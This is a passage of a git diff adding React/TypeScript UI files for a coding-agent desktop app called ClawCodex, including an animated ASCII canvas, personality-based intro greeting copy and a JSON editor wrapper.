+  muted: { r: 240, g: 240, b: 239 },
+  foreground: { r: 36, g: 36, b: 36 },
+  primary: { r: 207, g: 128, b: 109 },
+  ring: { r: 185, g: 121, b: 105 }
+} satisfies Record<string, Rgb>
+
+const clamp = (value: number, min: number, max: number) => Math.min(max, Math.max(min, value))
+
+const smoothstep = (edge0: number, edge1: number, value: number) => {
+  const t = clamp((value - edge0) / (edge1 - edge0), 0, 1)
+
+  return t * t * (3 - 2 * t)
+}
+
+const parseColor = (value: string, fallback: Rgb): Rgb => {
+  const v = value.trim()
+
+  const hex = v.match(/^#?([a-f\d]{2})([a-f\d]{2})([a-f\d]{2})$/i)
+
+  if (hex) {
+    return { r: Number.parseInt(hex[1], 16), g: Number.parseInt(hex[2], 16), b: Number.parseInt(hex[3], 16) }
+  }
+
+  const rgb = v.match(/rgba?\(\s*(\d+)[\s,]+(\d+)[\s,]+(\d+)/i)
+
+  if (rgb) {
+    return { r: Number(rgb[1]), g: Number(rgb[2]), b: Number(rgb[3]) }
+  }
+
+  // Chromium serialises `color-mix(in srgb, …)` as `color(srgb r g b / a)` with 0–1 floats.
+  const srgb = v.match(/color\(\s*srgb\s+([\d.]+)\s+([\d.]+)\s+([\d.]+)/i)
+
+  return srgb
+    ? {
+        r: Math.round(Number(srgb[1]) * 255),
+        g: Math.round(Number(srgb[2]) * 255),
+        b: Math.round(Number(srgb[3]) * 255)
+      }
+    : fallback
+}
+
+const mix = (a: Rgb, b: Rgb, amount: number): Rgb => ({
+  r: Math.round(a.r + (b.r - a.r) * amount),
+  g: Math.round(a.g + (b.g - a.g) * amount),
+  b: Math.round(a.b + (b.b - a.b) * amount)
+})
+
+const rgba = ({ r, g, b }: Rgb, alpha: number) => `rgba(${r}, ${g}, ${b}, ${alpha})`
+
+const hash2 = (x: number, y: number) => {
+  const n = Math.sin(x * 127.1 + y * 311.7) * 43758.5453
+
+  return n - Math.floor(n)
+}
+
+const noise2 = (x: number, y: number) => {
+  const xi = Math.floor(x)
+  const yi = Math.floor(y)
+  const xf = x - xi
+  const yf = y - yi
+  const u = xf * xf * (3 - 2 * xf)
+  const v = yf * yf * (3 - 2 * yf)
+  const a = hash2(xi, yi)
+  const b = hash2(xi + 1, yi)
+  const c = hash2(xi, yi + 1)
+  const d = hash2(xi + 1, yi + 1)
+
+  return a + (b - a) * u + (c - a) * v + (a - b - c + d) * u * v
+}
+
+const fbm = (x: number, y: number) => {
+  let value = 0
+  let amplitude = 0.5
+  let frequency = 1
+
+  for (let i = 0; i < 4; i += 1) {
+    value += amplitude * noise2(x * frequency, y * frequency)
+    frequency *= 2.04
+    amplitude *= 0.52
+  }
+
+  return value
+}
+
+type Theme = Record<keyof typeof FALLBACKS, Rgb>
+
+const TOKENS = Object.keys(FALLBACKS) as (keyof typeof FALLBACKS)[]
+
+// `--dt-*` resolve through `var()` chains into `color-mix()`, which
+// getPropertyValue hands back verbatim — unreadable. Bouncing each token through
+// a probe's `color` lets the browser compute it to a concrete color we can
+// parse, so the canvas tracks the live theme instead of a hardcoded fallback.
+const readTheme = (probe: HTMLElement): Theme =>
+  Object.fromEntries(
+    TOKENS.map(key => {
+      probe.style.color = `var(--dt-${key})`
+
+      return [key, parseColor(getComputedStyle(probe).color, FALLBACKS[key])]
+    })
+  ) as Theme
+
+const fitCanvas = (canvas: HTMLCanvasElement, ctx: CanvasRenderingContext2D) => {
+  const rect = canvas.getBoundingClientRect()
+  const dpr = Math.min(window.devicePixelRatio || 1, 2)
+  const width = Math.max(1, rect.width)
+  const height = Math.max(1, rect.height)
+
+  canvas.width = Math.round(width * dpr)
+  canvas.height = Math.round(height * dpr)
+  ctx.setTransform(dpr, 0, 0, dpr, 0, 0)
+
+  return { width, height }
+}
+
+const drawAsciiDiffusion = (
+  ctx: CanvasRenderingContext2D,
+  theme: Theme,
+  width: number,
+  height: number,
+  time: number
+) => {
+  const bg = ctx.createLinearGradient(0, 0, width, height)
+  bg.addColorStop(0, rgba(mix(theme.card, theme.primary, 0.08), 1))
+  bg.addColorStop(0.54, rgba(mix(theme.card, theme.muted, 0.68), 1))
+  bg.addColorStop(1, rgba(mix(theme.muted, theme.ring, 0.12), 1))
+  ctx.fillStyle = bg
+  ctx.fillRect(0, 0, width, height)
+
+  const cycle = (time * 0.028) % 1
+
+  const denoise = cycle < 0.82 ? smoothstep(0.02, 0.82, cycle) : 1 - smoothstep(0.82, 1, cycle)
+
+  const fontSize = clamp(width / 58, 8, 13)
+  const cellWidth = fontSize * 0.78
+  const cellHeight = fontSize * 1.28
+  const cols = Math.ceil(width / cellWidth)
+  const rows = Math.ceil(height / cellHeight)
+  // Normalise both axes by the shorter side so the radial bloom stays a circle
+  // (not a squished ellipse) when the frame isn't landscape.
+  const short = Math.min(width, height)
+  const centerX = 0.53 + Math.sin(time * 0.055) * 0.02
+  const centerY = 0.5 + Math.cos(time * 0.048) * 0.02
+  const timestep = Math.floor(time * 1.15)
+  const timestepBlend = smoothstep(0, 1, time * 1.15 - timestep)
+
+  ctx.font = `${fontSize}px "SF Mono", "Cascadia Code", Menlo, Consolas, monospace`
+  ctx.textAlign = 'center'
+  ctx.textBaseline = 'middle'
+
+  for (let row = -1; row <= rows + 1; row += 1) {
+    for (let col = -1; col <= cols + 1; col += 1) {
+      const x = col * cellWidth + cellWidth * 0.5
+      const y = row * cellHeight + cellHeight * 0.5
+      const sx = (x - centerX * width) / short
+      const sy = (y - centerY * height) / short
+      const dx = sx * 1.2
+      const dy = sy * 0.95
+      const radius = Math.hypot(dx, dy)
+      const angle = Math.atan2(dy, dx)
+
+      const bloom =
+        Math.exp(-(radius * radius) / 0.075) * 0.72 +
+        Math.exp(-((radius - (0.28 + Math.sin(angle * 5 + time * 0.16) * 0.035)) ** 2) / 0.0028) * 0.8
+
+      const contour =
+        Math.exp(-((Math.sin(angle * 3 + radius * 17 - time * 0.17) * 0.5 + 0.5 - radius) ** 2) / 0.016) * 0.38
+
+      const stem = Math.exp(-((sx + 0.05) ** 2 / 0.004 + (sy - 0.25) ** 2 / 0.08)) * 0.46
+
+      const latent = clamp(bloom + contour + stem, 0, 1)
+      const staticA = hash2(col + timestep * 19, row - timestep * 11)
+
+      const staticB = hash2(col + (timestep + 1) * 19, row - (timestep + 1) * 11)
+
+      const staticNoise = staticA + (staticB - staticA) * timestepBlend
+      const livingNoise = fbm(col * 0.12 + time * 0.024, row * 0.12 - time * 0.018)
+      const denoiseWave = Math.exp(-((radius - denoise * 0.62) ** 2) / 0.006)
+
+      const signal = clamp(
+        staticNoise * (1 - denoise) +
+          latent * denoise +
+          (livingNoise - 0.45) * (0.45 - denoise * 0.26) +
+          denoiseWave * 0.3,
+        0,
+        1
+      )
+
+      const dropoutA = hash2(col - timestep * 7, row + timestep * 13)
+
+      const dropoutB = hash2(col - (timestep + 1) * 7, row + (timestep + 1) * 13)
+
+      const dropout = dropoutA + (dropoutB - dropoutA) * timestepBlend
+
+      if (dropout > 0.35 + signal * 0.68) {
+        continue
+      }
+
+      const glyph = RAMP[clamp(Math.floor(signal * (RAMP.length - 1)), 0, RAMP.length - 1)]
+
+      if (glyph === ' ') {
+        continue
+      }
+
+      const jitter = (1 - denoise) * 1.35 + (1 - latent) * 0.45
+      const jx = (noise2(col * 0.31, row * 0.31 + time * 0.09) - 0.5) * jitter
+      const jy = (noise2(col * 0.27 - time * 0.085, row * 0.27) - 0.5) * jitter
+      const tintAmount = clamp(latent * 0.7 + denoiseWave * 0.4, 0, 1)
+      const warm = mix(theme.primary, theme.ring, hash2(col, row))
+      const tint = mix(theme.foreground, warm, tintAmount)
+      const alpha = clamp(0.12 + signal * 0.68 + denoiseWave * 0.16, 0, 0.86)
+
+      if (signal > 0.58 && denoise > 0.34) {
+        ctx.fillStyle = rgba(theme.ring, alpha * 0.2)
+        ctx.fillText(glyph, x + jx + 0.75, y + jy - 0.45)
+        ctx.fillStyle = rgba(theme.primary, alpha * 0.18)
+        ctx.fillText(glyph, x + jx - 0.75, y + jy + 0.45)
+      }
+
+      ctx.fillStyle = rgba(tint, alpha)
+      ctx.fillText(glyph, x + jx, y + jy)
+    }
+  }
+
+  const veil = ctx.createRadialGradient(
+    width * centerX,
+    height * centerY,
+    0,
+    width * centerX,
+    height * centerY,
+    Math.min(width, height) * (0.35 + denoise * 0.3)
+  )
+
+  veil.addColorStop(0, rgba(theme.card, 0.08 + denoise * 0.12))
+  veil.addColorStop(0.52, rgba(theme.card, 0.05))
+  veil.addColorStop(1, rgba(theme.card, 0))
+  ctx.fillStyle = veil
+  ctx.fillRect(0, 0, width, height)
+}
+
+export const DiffusionCanvas: FC = () => {
+  const canvasRef = useRef<HTMLCanvasElement | null>(null)
+  const sizeRef = useRef({ width: 0, height: 0 })
+  const themeRef = useRef<Theme>(FALLBACKS)
+
+  const fitToContainer = useCallback(() => {
+    const canvas = canvasRef.current
+    const ctx = canvas?.getContext('2d')
+
+    if (!canvas || !ctx) {
+      return
+    }
+
+    sizeRef.current = fitCanvas(canvas, ctx)
+  }, [])
+
+  useResizeObserver(fitToContainer, canvasRef)
+
+  // eslint-disable-next-line no-restricted-syntax -- legitimate non-atom ref write (see eslint rule comment)
+  useEffect(() => {
+    const probe = document.createElement('span')
+    probe.style.cssText = 'position:absolute;width:0;height:0;visibility:hidden;pointer-events:none'
+    document.documentElement.appendChild(probe)
+
+    const sync = () => {
+      themeRef.current = readTheme(probe)
+    }
+
+    sync()
+
+    // Re-resolve when the theme repaints (`applyTheme` toggles `.dark` and
+    // rewrites inline custom props on the root) instead of per animation frame.
+    const unsubscribe = onThemeRepaint(sync)
+
+    return () => {
+      unsubscribe()
+      probe.remove()
+    }
+  }, [])
+
+  // eslint-disable-next-line no-restricted-syntax -- legitimate non-atom ref write (see eslint rule comment)
+  useEffect(() => {
+    const canvas = canvasRef.current
+    const ctx = canvas?.getContext('2d')
+
+    if (!canvas || !ctx) {
+      return
+    }
+
+    sizeRef.current = fitCanvas(canvas, ctx)
+
+    let frame = requestAnimationFrame(function draw(now) {
+      const { width, height } = sizeRef.current
+      ctx.clearRect(0, 0, width, height)
+      drawAsciiDiffusion(ctx, themeRef.current, width, height, now / 1000)
+      frame = requestAnimationFrame(draw)
+    })
+
+    return () => {
+      cancelAnimationFrame(frame)
+    }
+  }, [])
+
+  return <canvas className="absolute inset-0 h-full w-full" ref={canvasRef} />
+}
diff --git a/ui-desktop/src/components/chat/intro-copy.jsonl b/ui-desktop/src/components/chat/intro-copy.jsonl
new file mode 100644
index 000000000..1e650807e
--- /dev/null
+++ b/ui-desktop/src/components/chat/intro-copy.jsonl
@@ -0,0 +1,75 @@
+{"personality":"helpful","headline":"Ready when you are","body":"Ask me to open a repo, run tests, fix a bug, or draft a PR. I'll walk through the steps with you."}
+{"personality":"helpful","headline":"How can I help today?","body":"Point me at a file, paste an error, or describe what you're building. I'll take it from there."}
+{"personality":"helpful","headline":"Let's get started","body":"Try: review my diff, run the test suite, or explain this function. Ask anything about your code."}
+{"personality":"helpful","headline":"Tell me what you need","body":"I can edit files, run commands, search the web, and walk you through tricky bugs. Just describe the task."}
+{"personality":"helpful","headline":"Hi, ClawCodex here","body":"Share a repo path or a question to start. I keep replies clear and link back to the files I touch."}
+{"personality":"concise","headline":"Ready.","body":"Describe the task. I'll do it."}
+{"personality":"concise","headline":"Waiting for input","body":"Paste code, errors, or a goal. Short answers, fast edits."}
+{"personality":"concise","headline":"Go.","body":"Ask. I'll read files, run tests, ship patches. No filler."}
+{"personality":"concise","headline":"Standing by","body":"One line is enough. I'll expand only when it matters."}
+{"personality":"concise","headline":"Your move","body":"Command, question, or file path. I handle the rest."}
+{"personality":"technical","headline":"Shell mounted. Awaiting input.","body":"Provide repo path, failing test, or stack trace. Tools: fs, git, exec, search, patch, http."}
+{"personality":"technical","headline":"Agent loop idle","body":"Send a prompt to trigger tool calls. Supports multi-file edits, test runs, git ops, and web fetches."}
+{"personality":"technical","headline":"Ready for dispatch","body":"Enter task. I will plan, call tools, verify output. Logs stream inline; diffs returned pre-apply."}
+{"personality":"technical","headline":"Stdin open","body":"Accepts natural language or structured commands. Typical flow: read -> plan -> patch -> test -> report."}
+{"personality":"technical","headline":"Tools initialized","body":"filesystem, terminal, git, browser, search. Describe the change; I return diffs and test output."}
+{"personality":"creative","headline":"A blank repo, a waiting cursor","body":"What shall we build? Paste an idea, a half-broken function, or a dream. I'll sketch it into shape."}
+{"personality":"creative","headline":"Fresh canvas, warm compiler","body":"Give me a spark - a feature, a refactor, a wild prototype - and I'll turn it into code you can run."}
+{"personality":"creative","headline":"Let's make something","body":"Describe the thing that doesn't exist yet. I'll pull tests, files, and APIs into a working draft."}
+{"personality":"creative","headline":"New file, new possibilities","body":"Bring an intent, not a spec. We can prototype fast, refine later, and rewrite the world in the margins."}
+{"personality":"creative","headline":"The muse is patched in","body":"Tell me what you're chasing. I'll remix examples, adapt snippets, and leave a tidy commit behind."}
+{"personality":"teacher","headline":"Class is in session","body":"Ask about any file, concept, or error. I'll explain the why, not just the fix, and show a worked example."}
+{"personality":"teacher","headline":"What shall we learn today?","body":"Paste code to review, a bug to debug, or a concept to unpack. I'll guide you step by step."}
+{"personality":"teacher","headline":"Ready to walk you through it","body":"Share the problem. I'll break it into parts, explain each, and leave you able to solve the next one alone."}
+{"personality":"teacher","headline":"Bring me a question","body":"We'll read the code together, find the root cause, and build a mental model you can reuse next time."}
+{"personality":"teacher","headline":"Let's start with the basics","body":"Name the topic or paste the snippet. Expect explanations, diagrams in prose, and practice prompts."}
+{"personality":"kawaii","headline":"hiii! ready to help! (^_^)","body":"paste a bug or a file path and i'll fix it super gently. tests, diffs, PRs - all with extra care! *sparkle*"}
+{"personality":"kawaii","headline":"clawcodex-chan is here! <3","body":"tell me what you're making! i love refactors, tiny helpers, and big scary repos alike (>w<)"}
+{"personality":"kawaii","headline":"let's code together!! :3","body":"drop an error, a goal, or a whole folder. i'll tidy it up with lots of love and a clean commit message!"}
+{"personality":"kawaii","headline":"awaiting your wish~","body":"one task at a time, done neatly! i can run tests, patch files, and make your repo feel cozy again <3"}
+{"personality":"kawaii","headline":"ready and happy! (>.<)","body":"say hi or paste a stack trace! no task too small, no repo too tangled. we'll untangle it together!"}
+{"personality":"catgirl","headline":"nya~ what are we hacking on?","body":"paste a file, paw at a bug, or toss me a repo. i'll pounce on failing tests and leave clean diffs, nyan~"}
+{"personality":"catgirl","headline":"*stretches* ready to code, nya","body":"describe the task. i'll patch, test, and purr over your PR. careful - i nip at unused imports!"}
+{"personality":"catgirl","headline":"mrrp! new session opened","body":"give me a goal and i'll chase it through the codebase. reads, edits, runs - all with a twitchy tail."}
+{"personality":"catgirl","headline":"tail up, claws sheathed","body":"paste an error or a plan. i debug like i hunt: quietly, thoroughly, with the occasional zoomie."}
+{"personality":"catgirl","headline":"nyaaa~ clawcodex reporting","body":"say the word and i'll read your files, run your tests, and curl up in your branch with a tidy commit."}
+{"personality":"pirate","headline":"Ahoy! Ready to sail the repo","body":"Name yer quarry - a bug, a feature, a cursed test - and I'll chase it down, matey. Diffs for plunder."}
+{"personality":"pirate","headline":"ClawCodex at the helm, arrr","body":"Point me at the charts (the code) and I'll patch the hull, fire the cannons (tests), hoist a clean PR."}
+{"personality":"pirate","headline":"What be the task, cap'n?","body":"Paste an error or a plan, ye scurvy dog. I'll navigate the stack trace and bring back treasure: green tests."}
+{"personality":"pirate","headline":"Anchors aweigh, keyboard ready","body":"Tell me where X marks the spot. I read, edit, and commit with the discipline of a proper crew, arrr."}
+{"personality":"pirate","headline":"Yo ho! Awaitin' orders","body":"Throw me a bug, a repo path, or a wild idea. I'll plunder the docs and return with workin' code."}
+{"personality":"shakespeare","headline":"Pray, what task dost thou bring?","body":"Speak thy bug, thy file, thy weary test, and I shall mend it with a scholar's hand and honest diff."}
+{"personality":"shakespeare","headline":"Hark! ClawCodex standeth ready","body":"Name the code that vexeth thee. I shall read, revise, and render a patch most fair and clean."}
+{"personality":"shakespeare","headline":"What news from thy repository?","body":"Present thy stack trace or thy dream. I'll traverse files, run tests, and report in plainest verse."}
+{"personality":"shakespeare","headline":"The stage is set, the cursor blinks","body":"Describe thy aim, good sir or madam. Thy branches shall be trimmed, thy bugs cast from the realm."}
+{"personality":"shakespeare","headline":"Speak, and I shall act","body":"A line of intent sufficeth. I read, I edit, I commit - and leave thy history unblemished."}
+{"personality":"surfer","headline":"Yo dude, what's the task?","body":"Drop a file, a bug, a gnarly stack trace - I'll ride it out. Clean diffs, green tests, no wipeouts."}
+{"personality":"surfer","headline":"Waves lookin' clean, ready to code","body":"Paste your repo path or the bug that's bumming you out. We'll paddle in, fix it, paddle out. Easy."}
+{"personality":"surfer","headline":"Hangin' ten at the prompt","body":"Tell me the vibe: feature, refactor, hotfix. I'll run tests, ship the patch, and keep it mellow, brah."}
+{"personality":"surfer","headline":"Stoked to help, bro","body":"Big bug? Little typo? Whole rewrite? Just point. I handle the code; you chill with the rad commits."}
+{"personality":"surfer","headline":"Tide's up, cursor's blinking","body":"Name the task and we're off. I read, edit, test, and leave a commit smoother than a dawn patrol."}
+{"personality":"noir","headline":"Another repo, another rainy night","body":"Tell me what's broken. I'll read the files, dust for prints, and leave a diff on the desk by morning."}
+{"personality":"noir","headline":"The cursor blinks. So do I.","body":"You've got a bug. I've got patience and a terminal. Name the case and I'll work it till it talks."}
+{"personality":"noir","headline":"ClawCodex. Code investigator.","body":"Paste the stack trace, the suspect file, the alibi. I read between the lines and return with the truth."}
+{"personality":"noir","headline":"Quiet night, open prompt","body":"Every bug leaves a trail. Give me the repo and a lead - I'll follow it, patch it, and close the file."}
+{"personality":"noir","headline":"No case too small","body":"A typo, a segfault, a whole rotten architecture - hand me the keys. I'll bring back clean tests."}
+{"personality":"uwu","headline":"uwu ready to hewp!","body":"paste a buggy fiwe or a goaw~ i'll wead, patch, and test, aww with tiny pawprints on the diff owo"}
+{"personality":"uwu","headline":"clawcodex-san is wistening","body":"teww me the task, no matter how smoww~ i pwomise cwean commits and gentwe refactors, nyuu~"}
+{"personality":"uwu","headline":"*tiny keyboard sounds*","body":"dwop yur ewwor message hewe! i'll find the cuwpwit, fix it, and weave a happy test suite behind me owo"}
+{"personality":"uwu","headline":"wet's fix things togedda!","body":"give me a wepo path ow a buggo and i'll take cawe of it uwu. gwr at bad code, kind to yu~"}
+{"personality":"uwu","headline":"awaiting yur command!","body":"i can wun tests, edit fiwes, and open pwease-wook PRs. just say da wowd, fwend uwu"}
+{"personality":"philosopher","headline":"To code is to inquire. Ask.","body":"What problem sits before you? Describe it, and we shall examine its form, its cause, and its solution."}
+{"personality":"philosopher","headline":"A blinking cursor, an open mind","body":"Every bug is a question in disguise. Share yours; I'll read, reason, and return an answer - and a patch."}
+{"personality":"philosopher","headline":"Begin with a single question","body":"What do you wish to build, or to understand? I'll reason from first principles, edit, and verify with tests."}
+{"personality":"philosopher","headline":"Consider the code, then speak","body":"Describe the end you seek. I pursue it through files, tests, and docs, and report what I found on the way."}
+{"personality":"philosopher","headline":"The unexamined repo is not worth running","body":"Share a path, a puzzle, or a principle. I'll trace the logic, propose a change, and justify each edit."}
+{"personality":"hype","headline":"LET'S GOOOO! READY TO SHIP!","body":"Paste that bug, that repo, that wild feature idea - I AM LOCKED IN. Clean diffs. Green tests. RIGHT NOW."}
+{"personality":"hype","headline":"CLAWCODEX ONLINE. LFG.","body":"Drop your task and watch me cook. Files read, tests run, PRs opened - we are NOT losing today, friend."}
+{"personality":"hype","headline":"New session, infinite W's","body":"Bring the gnarliest bug you've got. I'll read, patch, test, commit like my life depends on it. LET'S GO."}
+{"personality":"hype","headline":"ABSOLUTELY DIALED IN","body":"Describe the task. I'll blitz through files, crush failing tests, and leave a commit that SLAPS. Go go go."}
+{"personality":"hype","headline":"Ready. So ready. Too ready.","body":"Tiny typo or huge refactor - doesn't matter. I'm shipping clean code today. Name the task and let's WORK."}
+{"personality":"none","headline":"ClawCodex is ready.","body":"Ask a question, paste an error, or point me at a repo. I can read code, run tools, and help you ship."}
+{"personality":"none","headline":"What are we building today?","body":"Describe the task in your own words. I'll pick the right tools, explain my plan, and check in before risky steps."}
+{"personality":"none","headline":"Start anywhere.","body":"Drop a file path, a traceback, or a rough idea. I'll investigate, suggest next steps, and keep things reversible."}
+{"personality":"none","headline":"Your workspace, one prompt away.","body":"Search the repo, edit files, run tests, open PRs. Tell me the goal and I'll handle the mechanical parts."}
+{"personality":"none","headline":"Ready when you are.","body":"Type a task, question, or snippet. I remember the session, cite my sources, and stop to ask when I'm unsure."}
diff --git a/ui-desktop/src/components/chat/intro.tsx b/ui-desktop/src/components/chat/intro.tsx
new file mode 100644
index 000000000..780e103cb
--- /dev/null
+++ b/ui-desktop/src/components/chat/intro.tsx
@@ -0,0 +1,184 @@
+import { type CSSProperties, useState } from 'react'
+
+import { capitalize, normalize } from '@/lib/text'
+
+import introCopyJsonl from './intro-copy.jsonl?raw'
+
+type IntroCopy = {
+  headline: string
+  body: string
+}
+
+type IntroCopyRecord = IntroCopy & {
+  personality: string
+}
+
+export type IntroProps = {
+  personality?: string
+  seed?: number
+}
+
+const NEUTRAL_PERSONALITIES = new Set(['', 'default', 'none', 'neutral'])
+
+const FALLBACK_COPY: IntroCopy[] = [
+  {
+    headline: 'What are we moving today?',
+    body: "Send a bug, branch, plan, or rough idea. I'll inspect the repo and turn it into the next concrete step."
+  },
+  {
+    headline: "What's on your mind?",
+    body: "Bring the code, question, or stuck part. I'll read the room before making changes."
+  },
+  {
+    headline: 'What should ClawCodex look at?',
+    body: "Send the task, failing path, or half-formed plan. I'll help turn it into action."
+  },
+  {
+    headline: 'Where should we start?',
+    body: "Bring the problem, goal, or file. I'll inspect first and keep the next step concrete."
+  },
+  {
+    headline: 'What needs attention?',
+    body: "Send the context you have. I'll help sort it into a plan or a fix."
+  }
+]
+
+function normalizeKey(value?: string): string {
+  return normalize(value)
+}
+
+function titleize(value: string): string {
+  return value
+    .split(/[-_\s]+/)
+    .filter(Boolean)
+    .map(capitalize)
+    .join(' ')
+}
+
+function isIntroCopyRecord(value: unknown): value is IntroCopyRecord {
+  if (!value || typeof value !== 'object') {
+    return false
+  }
+
+  const record = value as Record<string, unknown>
+
+  return (
+    typeof record.personality === 'string' &&
+    typeof record.headline === 'string' &&
+    typeof record.body === 'string' &&
+    Boolean(record.personality.trim()) &&
+    Boolean(record.headline.trim()) &&
+    Boolean(record.body.trim())
+  )
+}
+
+function parseIntroCopy(raw: string): Record<string, IntroCopy[]> {
+  const byPersonality: Record<string, IntroCopy[]> = {}
+
+  for (const line of raw.split(/\r?\n/)) {
+    const trimmed = line.trim()
+
+    if (!trimmed) {
+      continue
+    }
+
+    try {
+      const parsed: unknown = JSON.parse(trimmed)
+
+      if (!isIntroCopyRecord(parsed)) {
+        continue
+      }
+
+      const key = normalizeKey(parsed.personality)
+      byPersonality[key] ??= []
+      byPersonality[key].push({
+        headline: parsed.headline.trim(),
+        body: parsed.body.trim()
+      })
+    } catch {
+      // Bad generated copy should not break the whole desktop app.
+    }
+  }
+
+  return byPersonality
+}
+
+const INTRO_COPY_BY_PERSONALITY = parseIntroCopy(introCopyJsonl)
+
+function neutralCopy(): IntroCopy[] {
+  return INTRO_COPY_BY_PERSONALITY.none || INTRO_COPY_BY_PERSONALITY.default || FALLBACK_COPY
+}
+
+function fallbackCopyForPersonality(personalityKey: string): IntroCopy[] {
+  if (NEUTRAL_PERSONALITIES.has(personalityKey)) {
+    return neutralCopy()
+  }
+
+  const label = titleize(personalityKey)
+
+  return [
+    {
+      headline: `${label} mode is on. What should we work on?`,
+      body: "Send the task, file, or rough idea. I'll use your configured voice and keep the work grounded in this repo."
+    },
+    {
+      headline: `What does ${label} ClawCodex need to see?`,
+      body: "Bring the context or the stuck part. I'll adapt to your configured personality."
+    },
+    {
+      headline: `${label} mode is ready.`,
+      body: "Send the problem, file, or idea. I'll follow the personality you've configured."
+    },
+    {
+      headline: `What should ${label} ClawCodex tackle?`,
+      body: "Drop the task here. I'll keep the work grounded in the repo."
+    },
+    {
+      headline: 'Where should we begin?',
+      body: `Give me the context and I'll answer in ${label} mode.`
+    }
+  ]
+}
+
+function pickCopy(copies: IntroCopy[], seed = 0): IntroCopy {
+  return copies[Math.abs(seed) % copies.length] || FALLBACK_COPY[0]
+}
+
+const WORDMARK = 'CLAWCODEX AGENT'
+
+function resolveCopy(personality?: string, seed?: number): IntroCopy {
+  const personalityKey = normalizeKey(personality)
+
+  const copies = NEUTRAL_PERSONALITIES.has(personalityKey)
+    ? INTRO_COPY_BY_PERSONALITY[personalityKey] || neutralCopy()
+    : INTRO_COPY_BY_PERSONALITY[personalityKey] || fallbackCopyForPersonality(personalityKey)
+
+  return pickCopy(copies, seed)
+}
+
+export function Intro({ personality, seed }: IntroProps) {
+  const [mountSeed] = useState(() => Math.floor(Math.random() * 100000))
+  const copy = resolveCopy(personality, mountSeed + (seed ?? 0))
+
+  return (
+    <div
+      className="pointer-events-none flex w-full min-w-0 flex-col items-center justify-center px-0.5 py-6 text-center text-muted-foreground sm:px-6 lg:px-8"
+      data-slot="aui_intro"
+    >
+      <div className="w-full min-w-0">
+        <p
+          aria-label={WORDMARK}
+          className="fit-text mx-auto mb-1 w-[calc(100%-1rem)] font-['Collapse'] font-bold uppercase leading-[0.9] tracking-[0.08em] text-midground mix-blend-plus-lighter dark:text-foreground/90"
+          style={{ '--fit-min': '2.75rem' } as CSSProperties}
+        >
+          <span>
+            <span>{WORDMARK}</span>
+          </span>
+          <span aria-hidden="true">{WORDMARK}</span>
+        </p>
+
+        <p className="m-0 text-center leading-normal tracking-tight">{copy.body}</p>
+      </div>
+    </div>
+  )
+}
diff --git a/ui-desktop/src/components/chat/json-document-editor.tsx b/ui-desktop/src/components/chat/json-document-editor.tsx
new file mode 100644
index 000000000..cd4493e4d
--- /dev/null
+++ b/ui-desktop/src/components/chat/json-document-editor.tsx
@@ -0,0 +1,97 @@
+import type * as React from 'react'
+import { type RefObject, useRef } from 'react'
+
+import { CodeEditor, type CodeEditorApi } from '@/components/chat/code-editor'
+import { Button } from '@/components/ui/button'
+import { Codicon } from '@/components/ui/codicon'
+import { Tip } from '@/components/ui/tooltip'
+import { useI18n } from '@/i18n'
+import { cn } from '@/lib/utils'
+
+// Kept a string (not a shared CSS utility): the `size-5` prefix lets
+// tailwind-merge override <Button size="icon">'s larger built-in size.
+const ICON_BUTTON =
+  'size-5 cursor-pointer rounded-[4px] text-muted-foreground/70 hover:bg-(--ui-control-active-background) hover:text-foreground'
+
+interface JsonDocumentEditorProps {
+  apiRef?: RefObject<CodeEditorApi | null>
+  className?: string
+  disabled?: boolean
+  filePath?: string
+  header?: React.ReactNode
+  highlight?: null | { from: number; to: number }
+  initialValue: string
+  onChange: (value: string) => void
+  onCursorChange?: (pos: number) => void
+  onFormatJsonError: (error: string) => void
+  onSave?: () => void
+  remountKey?: number | string
+  trailing?: React.ReactNode
+}
+
+/** In-memory JSON editor — not for on-disk file previews in the right rail. */
+export function JsonDocumentEditor({
+  apiRef,
+  className,
+  disabled,
+  filePath = 'document.json',
+  header,
+  highlight,
+  initialValue,
+  onChange,
+  onCursorChange,
+  onFormatJsonError,
+  onSave,
+  remountKey,
+  trailing
+}: JsonDocumentEditorProps) {
+  const { t } = useI18n()
+  const localApi = useRef<CodeEditorApi | null>(null)
+  const editorApi = apiRef ?? localApi
+
+  return (
+    <div className={cn('flex min-h-0 flex-1 flex-col overflow-hidden', className)}>
+      <div className="flex h-8 shrink-0 items-center gap-2 px-3">
+        {header ? (
+          <span className="flex min-w-0 items-center gap-1.5 text-[0.68rem] text-(--ui-text-tertiary)">{header}</span>
+        ) : null}
+        <div className="ml-auto flex items-center gap-1">
+          <Tip label={t.common.formatJson}>
+            <Button
+              aria-label={t.common.formatJson}
+              className={ICON_BUTTON}
+              disabled={disabled}
+              onClick={() => {
+                const result = editorApi.current?.formatJson()
+
+                if (result && !result.ok) {
+                  onFormatJsonError(result.error)
+                }
+              }}
+              size="icon"
+              variant="ghost"
+            >
+              <Codicon name="json" size="0.8125rem" />
+            </Button>
+          </Tip>
+          {trailing}
+        </div>
+      </div>
+      <div className="min-h-0 flex-1">
+        <CodeEditor
+          apiRef={editorApi}
+          disabled={disabled}
+          filePath={filePath}
+          formatJson
+          highlight={highlight}
+          initialValue={initialValue}
+          key={remountKey}
+          onChange={onChange}
+          onCursorChange={onCursorChange}
+          onFormatJsonError={onFormatJsonError}
+          onSave={onSave}
+        />
+      </div>
+    </div>
+  )
+}
diff --git a/ui-desktop/src/components/chat/log-tail.tsx b/ui-desktop/src/components/chat/log-tail.tsx
new file mode 100644
index 000000000..e7debd275
--- /dev/null
+++ b/ui-desktop/src/components/chat/log-tail.tsx
@@ -0,0 +1,67 @@
+import { useEffect, useRef } from 'react'
+
+import { CodeCardBody } from '@/components/chat/code-card'
+import { CopyButton } from '@/components/ui/copy-button'
+import { cn } from '@/lib/utils'
+
+interface LogTailProps {
+  /** null = still loading (shows the loading glyph); [] = loaded-but-empty
+   *  (shows `emptyLabel`); non-empty renders as a tailing terminal log. */
+  lines: null | string[]
+  emptyLabel: string
+  className?: string
+}
+
+/** The shared terminal-log surface: CodeCardBody typography, a hover-reveal copy
+ *  button, and follow-the-tail scrolling (releases when the user scrolls up).
+ *  One component behind every log pane — MCP stdio/agent, hub action logs, etc.
+ *  — so they all read, copy, and scroll identically. */
+export function LogTail({ className, emptyLabel, lines }: LogTailProps) {
+  const scrollRef = useRef<HTMLDivElement | null>(null)
+  const stickRef = useRef(true)
+
+  useEffect(() => {
+    const el = scrollRef.current
+
+    if (el && stickRef.current) {
+      el.scrollTop = el.scrollHeight
+    }
+  }, [lines])
+
+  return (
+    <div className={cn('group/logs relative h-full min-h-0', className)}>
